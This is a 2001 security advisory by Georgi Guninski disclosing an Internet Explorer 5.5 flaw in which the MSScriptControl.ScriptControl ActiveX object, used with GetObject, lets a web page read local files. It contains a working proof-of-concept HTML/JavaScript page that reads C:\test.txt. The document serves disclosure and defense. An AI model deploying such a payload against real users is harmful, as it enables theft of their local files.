Georgi Guninski security advisory #41, 2001
Security bug in Internet Explorer - MSScriptControl.ScriptControl
Systems affected:
IE 5.5 Win2K (probably others versions/platforms, have not tested)
Risk: High
Date: 31 March 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute
it unmodified.
You may not modify it and distribute it or distribute parts of it without
the author's written permission.
Disclaimer:
The information in this advisory is believed to be true based on experiments
though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
Description:
By visiting a web page with IE it is possible to read arbitrary local
files (in very rare
cases small amount of the file's content is lost) if the file name
is known and send them to an arbitrary server.
It is also possible to read arbitrary web pages to which the victim
has access.
Probably this bug may be more serious, have not investigated further
- an interesting scenario seems to be
playing with
C:\Documents and Settings\USERNAME\Local Settings\Temporary Internet
Files\Content.IE5\index.dat.
which probably may lead to executing arbitrary programs.
Details:
The problem seems to be the ActiveX object "MSScriptControl.ScriptControl"
in combination with GetObject.
Examine the code below for more details.
--------------------------------------------------------------------
<html>
<h2>
Written by Georgi Guninski.
<br>
Reads c:\test.txt
<br>
</h2>
<script>
alert("This script reads C:\\TEST.TXT\nYou may
need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);
</script>
</html>
--------------------------------------------------------------------
Workaround: To solve this particular issue disable Active Scripting,
though I do not recommend using IE for browsing
the Internet because this is dangerous.
Demonstration:
http://www.guninski.com/scractxdemo.html
Vendor status:
Microsoft was informed on 26 March 2001 |